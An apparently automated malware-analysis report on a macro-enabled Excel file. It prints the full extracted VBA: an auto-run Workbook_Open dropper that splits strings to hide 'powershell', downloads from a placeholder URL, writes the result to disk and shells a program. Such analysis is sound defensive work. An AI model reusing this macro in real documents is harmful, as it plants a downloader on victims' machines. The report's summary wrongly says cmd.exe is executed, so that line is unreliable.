Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3ee85eed4e6d492a…

MALICIOUS

Office (OOXML)

15.6 KB Created: 2021-06-08 07:44:17 UTC Authoring application: Microsoft Excel 16.0300
MD5: 241e8fe95f5893e9bf27e45f0f98ae92 SHA-1: ac0426d062373427b4d8112565b6bf0f9f195a96 SHA-256: 3ee85eed4e6d492a478a91a51c569cfcd455ecb93e1cb9287e899eb4923f4a87
300 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro contains a Workbook_Open subroutine that constructs the string "powershell" and a URL "https://YourWebSite.com/?your_query_parameters". It then uses Microsoft.XMLHTTP to download content from the URL, saving it as "C:\test\wp1\file.csv". Finally, it executes cmd.exe, likely to run the downloaded payload, and also copies cmd.exe to "c:\test\wp1\gg1.exe".

Heuristics 7

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
e3f008b6b7dadb51905f26537534c9c6f5ad1c0177b273c9513b0881536daf80		 vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2007 bytes
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
    Dim gg As String
    Dim wp As String
    Dim ggwp As String
    Dim p1 As String
    Dim p2 As String
    Dim p3 As String
    Dim p4 As String
    gg = "powers"
    wp = "hell"
    p1 = "new:07B919"
    p2 = "A9-79D7-4FE0-8D0"
    p3 = "B-A8103A672E2A"
    p4 = p1 & p2 & p3
    ggwp = gg & wp
    Dim myUR As String
    Dim L As String
    Dim g As String
    myUR = "htt"
    L = "ps://YourWebSite.com/?your_query_parameters"
    g = myUR & L
    
    
    Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
    WinHttpReq.Open "GET", g, False, "username", "password"
    WinHttpReq.send
    
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile "C:\test\wp1\file.csv", 2 ' 1 = no overwrite, 2 = overwrite
        oStream.Close
    End If
    Application.Wait (Now + TimeValue("0:00:10"))
    Dim strProgramName As String
    Dim strArgument As String

    strProgramName = "C:\Windows\System32\calc.exe"

    Call Shell(strProgramName, vbNormalFocus)
    FileCopy "c:\Windows\System32\cmd.exe", "c:\test\wp1\gg1.exe"
    
    Dim shape As Excel.shape
    For Each shape In ActiveSheet.Shapes
        shape.Delete
    Next
    

End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin
4d08f57b26ce9e7b7dece8d6a55c05c54bf86ba1ec1d7447fceec18d1e8200c2		 vba-project OOXML VBA project: xl/vbaProject.bin 19456 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.